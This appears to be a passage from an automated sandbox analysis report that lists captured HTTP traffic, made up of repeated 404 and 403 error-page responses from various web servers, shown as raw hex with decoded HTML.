Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:37 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1566Date: Sun, 14 Apr 2024 02:01:38 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:37 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:37 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:37 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5Date: Sun, 14 Apr 2024 01:50:17 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:39 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:37 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:39 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenConnection: Keep-AliveKeep-Alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkeddate: Sun, 14 Apr 2024 02:01:39 GMTserver: LiteSpeedData Raw: 32 37 36 34 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:37 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:37 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:37 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 